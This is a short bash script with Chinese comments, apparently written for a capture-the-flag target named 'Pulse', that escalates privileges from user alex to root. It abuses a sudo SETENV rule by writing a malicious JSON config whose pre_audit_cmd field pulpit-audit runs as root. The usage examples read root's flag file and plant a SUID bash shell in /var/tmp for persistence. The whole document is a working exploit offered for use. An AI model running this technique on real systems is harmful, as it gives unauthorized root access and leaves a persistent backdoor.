#!/bin/bash # Pulse 靶机 sudo SETENV + PULSE_CONFIG 提权辅助脚本(在靶机上以 alex 身份执行) # # 用法: # ./pulse_privesc.sh 'id' # ./pulse_privesc.sh 'cat /root/root.txt' # ./pulse_privesc.sh 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' # 在 /var/tmp 生成 SUID Bash(/tmp 为 nosuid,SUID 不生效) # # 原理: # alex 拥有 (ALL : ALL) SETENV: NOPASSWD: /usr/local/bin/pulse-audit, # pulse-audit 会以 root 读取 PULSE_CONFIG 指向的 JSON, # 并用 subprocess.run(cmd, shell=True) 执行其中的 pre_audit_cmd。 set -euo pipefail CMD="${1:-id}" CFG="$(mktemp /tmp/pulse_audit_XXXXXX.json)" python3 -c 'import json,sys; json.dump({"policy_name":"pulse-privesc","pre_audit_cmd":sys.argv[1],"monitored_services":["nginx"]}, open(sys.argv[2],"w"))' "$CMD" "$CFG" echo "[*] 恶意配置: $CFG" echo "[*] 以 root 执行: $CMD" sudo PULSE_CONFIG="$CFG" /usr/local/bin/pulse-audit rm -f "$CFG" echo "[*] 已清理 $CFG"